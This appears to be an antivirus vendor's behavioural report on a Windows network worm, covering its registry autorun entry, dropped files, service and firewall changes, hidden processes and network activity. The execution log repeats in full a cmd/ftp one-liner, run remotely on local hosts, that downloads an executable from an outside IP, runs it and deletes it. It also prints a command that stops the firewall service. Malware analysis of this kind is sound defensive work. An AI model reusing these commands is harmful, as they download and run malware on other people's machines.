Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'safe360' = '%CommonProgramFiles%\sebsbvx\coiome.exe'
Creates or modifies the following files:
- %WINDIR%\Tasks\YDCg.exe
- %WINDIR%\Tasks\YDCi.vbe
Creates the following services:
- [<HKLM>\SYSTEM\ControlSet001\Services\LmHosts] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\RpcLocator] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\NtLmSsp] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\Browser] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\lanmanserver] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\lanmanworkstation] 'Start' = '00000002'
Malicious functions:
Creates and executes the following:
- %WINDIR%\Tasks\YDCg.exe 192.168.190.6 : 192.168.190.5 : 192.168.190.8 : 192.168.190.7 : 192.168.190.2 : 192.168.190.1 : 192.168.190.4 : 192.168.190.3 :
- %CommonProgramFiles%\sebsbvx\coiome.exe
Executes the following:
- <SYSTEM32>\locator.exe
- <SYSTEM32>\cscript.exe %WINDIR%\Tasks\YDCi.vbe 192.168.190.1 %USERNAME% "" "cmd /c @echo open 61.129.51.245>>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get n.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&n.exe&n.exe&del n.exe"
- <SYSTEM32>\cscript.exe %WINDIR%\Tasks\YDCi.vbe 192.168.190.2 %USERNAME% "" "cmd /c @echo open 61.129.51.245>>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get n.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&n.exe&n.exe&del n.exe"
- <SYSTEM32>\net1.exe start RpcLocator
- <SYSTEM32>\sc.exe delete JavaServe
- <SYSTEM32>\net1.exe start NtLmSsp
- <SYSTEM32>\cscript.exe %WINDIR%\Tasks\YDCi.vbe 192.168.190.3 %USERNAME% "" "cmd /c @echo open 61.129.51.245>>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get n.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&n.exe&n.exe&del n.exe"
- <SYSTEM32>\cscript.exe %WINDIR%\Tasks\YDCi.vbe 192.168.190.5 %USERNAME% "" "cmd /c @echo open 61.129.51.245>>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get n.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&n.exe&n.exe&del n.exe"
- <SYSTEM32>\cscript.exe %WINDIR%\Tasks\YDCi.vbe 192.168.190.6 %USERNAME% "" "cmd /c @echo open 61.129.51.245>>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get n.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&n.exe&n.exe&del n.exe"
- <SYSTEM32>\cscript.exe %WINDIR%\Tasks\YDCi.vbe 192.168.190.7 %USERNAME% "" "cmd /c @echo open 61.129.51.245>>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get n.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&n.exe&n.exe&del n.exe"
- <SYSTEM32>\attrib.exe -h -s -r -a "%HOMEPATH%\Cookies\*.*"
- <SYSTEM32>\cscript.exe %WINDIR%\Tasks\YDCi.vbe 192.168.190.4 %USERNAME% "" "cmd /c @echo open 61.129.51.245>>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get n.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&n.exe&n.exe&del n.exe"
- <SYSTEM32>\attrib.exe -h -s -r -a "%TEMP%\Cookies\*.*"
- <SYSTEM32>\sc.exe config lanmanserver start= auto
- <SYSTEM32>\sc.exe config lanmanworkstation start= auto
- <SYSTEM32>\sc.exe config LmHosts start= auto
- <SYSTEM32>\mshta.exe "%PROGRAM_FILES%\SPU.hta"
- <SYSTEM32>\taskkill.exe /im coiome.exe /f
- <SYSTEM32>\sc.exe config Browser start= auto
- <SYSTEM32>\sc.exe config RpcLocator start= auto
- <SYSTEM32>\net1.exe start Browser
- <SYSTEM32>\net1.exe stop sharedaccess
- <SYSTEM32>\net1.exe start LmHosts
- <SYSTEM32>\sc.exe config NtLmSsp start= auto
- <SYSTEM32>\net1.exe start lanmanserver
- <SYSTEM32>\net1.exe start lanmanworkstation
Hides the following processes:
- %WINDIR%\Tasks\YDCg.exe
- <SYSTEM32>\cscript.exe
Sets a new unauthorized home page for Windows Internet Explorer.
Modifies file system :
Creates the following files:
- \Device\LanmanRedirector\192.168.190.4\pipe\browser
- \Device\LanmanRedirector\192.168.190.3\pipe\browser
- \Device\LanmanRedirector\192.168.190.5\pipe\browser
- \Device\LanmanRedirector\192.168.190.7\pipe\browser
- \Device\LanmanRedirector\192.168.190.6\pipe\browser
- \Device\LanmanRedirector\192.168.190.2\pipe\browser
- %CommonProgramFiles%\sebsbvx\coiome.exe
- %PROGRAM_FILES%\SPU.hta
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\b[1].jpg
- \Device\LanmanRedirector\192.168.190.1\pipe\browser
- %WINDIR%\Fonts\oi.ini
Deletes the following files:
- %PROGRAM_FILES%\SPU.hta
Deletes itself.
Network activity:
Connects to:
- '<Private IP address>':445
- '<Private IP address>':135
- 'tj.##16800.com':80
- 'localhost':1038
- 'j.###6800.com':80
TCP:
HTTP GET requests:
- tj.##16800.com/t/Count.asp?ma#######################################
- j.###6800.com/b.jpg
UDP:
- DNS ASK 1.###.##8.192.in-addr.arpa
- DNS ASK tj.##16800.com
- DNS ASK j.###6800.com
Miscellaneous:
Searches for the following windows:
- ClassName: '' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
